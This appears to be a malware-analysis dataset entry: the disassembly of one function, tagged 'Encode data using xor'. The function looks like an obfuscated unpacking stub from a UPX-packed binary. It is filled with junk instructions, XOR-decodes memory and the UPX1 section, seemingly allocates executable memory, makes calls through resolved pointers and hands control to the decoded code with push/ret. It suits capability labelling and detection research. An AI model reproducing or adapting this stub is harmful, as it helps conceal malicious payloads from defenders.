Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4b9a8ad7
sub ecx, 0x70a83fdc
mov ecx, 0x9312756b
mov ecx, 0xc526cd43
popal
mov edx, 0x3b194fda
add ecx, 0x56a92059
or edx, ecx
mov edx, 0
mov esi, ebx
mov ecx, edi
add edi, 0x693bea1f
mov eax, esi
dec ecx
sub edi, ecx
mov ebx, eax
add edi, 0xcaba4622
mov ecx, 0xb18829da
inc edx
sub ecx, 1
add edi, edi
cmp edx, 0x1005b81
jne 0x47afe1
sub ecx, edi
inc ecx
cmp edx, 0x1005b81
je 0x47b024
mov ebx, 0
mov ecx, dword [ebx]
or ecx, edi
or edi, edi
sub edi, 0x3050059d
add edx, 0x97a34de1
add ecx, ecx
or ecx, ecx
mov eax, 0x47ada2
add ebx, esi
or esi, ebx
not ecx
mov edx, 0x47af96
not ebx
inc ebx
not esi
mov edi, dword [eax]
add ebx, 0x44fe9871
mov ebx, ecx
add esi, 0xf526eff9
and edi, 0xff
and esi, ebx
add ecx, 1
add esi, ebx
xor dword [edx], edi
mov ecx, 0x85a9c35c
not ebx
add edx, 1
sub esi, ebx
add ebx, ebx
add eax, 1
sub esi, 1
add ebx, esi
sub ecx, 0x23c860c7
cmp edx, entry0
jl 0x47b04d
not esi
mov ecx, ebx
dec ecx
sub ecx, 0xd51323a2
mov esi, 0xe00706cc
not esi
add edx, 0x3d5c9615
mov ecx, 0x47af9a
or edx, edi
mov esi, 0x920652df
mov ecx, dword [ecx]
or esi, esi
sub esi, ebx
not edx
mov ecx, dword [ecx]
or esi, edx
add esi, 0x4b9b59b8
push ecx
add esi, 0x54b189c1
not edx
mov ecx, 0x47af96
sub esi, 0x1f936d36
mov ebx, 0x22b59b00
mov ecx, dword [ecx]
sub edi, 0xf4f934b3
mov edi, esi
dec edi
mov ecx, dword [ecx]
add edx, ebx
dec edi
push 0x47af9e
sub esi, 0x12432dde
inc ebx
call ecx
mov edx, esi
mov edi, 0x82f31fea
and esi, edi
pop ecx
sub ebx, 0x5cb5c237
not edx
mov ebx, edx
push 0x47afab
and edx, edi
add edx, edx
and esi, edi
sub esp, 4
mov dword [esp], eax
or edx, esi
or edi, edx
call ecx
add edi, 0xf1a75ff4
inc ebx
not edx
push 0x40
and edx, edx
sub edi, 0x4269ecf1
inc ebx
sub esp, 4
mov dword [esp], 0x3000
or esi, edi
or edx, esi
sub esp, 4
mov dword [esp], 0x200006ce
and edx, edi
sub edi, 0x4b995aee
push 0
mov edi, 0xcdc061a2
dec esi
not ebx
call eax
mov ebx, 0xa6288b3c
not esi
mov edx, 0xe98f9a03
add eax, 0x2000064e
inc edi
and esi, ebx
mov ebx, 0x83eb1298
mov ecx, 0x34e3cef1
add edi, edi
sub esi, 1
sub esi, 0xa9ace80d
mov dword [eax], ecx
mov edx, 0x64e16cde
sub esi, edx
mov ecx, dword [eax]
sub ebx, edi
sub ebx, edi
cmp ecx, 0x34e3cef1
je 0x47b1c9
mov eax, 0
mov cl, byte [eax]
and esi, ebx
mov ebx, 0x1976456e
or esi, esi
add esi, 0x6a89b27f
sub edx, 0x7f7ab0bf
not ecx
and ecx, edx
mov edi, section.UPX1
add edx, 0x55f14ba9
and ecx, ecx
sub edx, ecx
mov ebx, 0x47ada1
not ecx
mov edx, 0x1f833d59
mov esi, 0
add ecx, 0x4842d315
sub ecx, 0x1d1cb41d
mov eax, 0x47ada2
mov edx, ecx
dec ecx
lea eax, [esi + eax]
mov ecx, edx
sub ecx, 1
mov eax, dword [eax]
sub edx, ecx
not ecx
and eax, 0xff
not edx
sub edx, 0x4dec7d81
inc esi
sub edx, ecx
mov ecx, 0x495438cd
cmp esi, 0x1f4
jne 0x47b24a
mov esi, 0
add ecx, edx
sub ecx, edx
and edx, edx
sub ecx, 0x4ea1d07
xor dword [edi], eax
mov edx, 0x4fa161c5
not ecx
or ecx, edx
add edi, 2
and edx, ecx
add ecx, edx
cmp edi, ebx
jl 0x47b20e
add edx, 1
mov edx, 0xac773a47
add edx, 0xec4b0ce1
add edx, edx
sub edx, 0x1ef7d35e
mov edx, section.UPX1
not edi
dec esi
mov eax, section.UPX1
sub edi, esi
add esi, 0x887107dc
mov ebx, 0x47ada1
sub edi, esi
not edi
not edi
mov ecx, 0
or esi, edi
sub esi, edi
mov cl, byte [eax]
sub esi, 0x7019d0fb
mov esi, 0x20e01466
mov byte [edx], cl
not edi
mov edi, esi
inc edx
inc esi
not esi
add eax, 2
dec esi
sub esi, 0xa8200e7e
cmp eax, ebx
jle 0x47b2b5
sub esi, 0xa41d7660
mov edi, esi
add esi, esi
sub edx, ecx
inc ecx
push 0x45e6a0
sub edx, ecx
sub edx, ecx
add ecx, 0xef0130e1
ret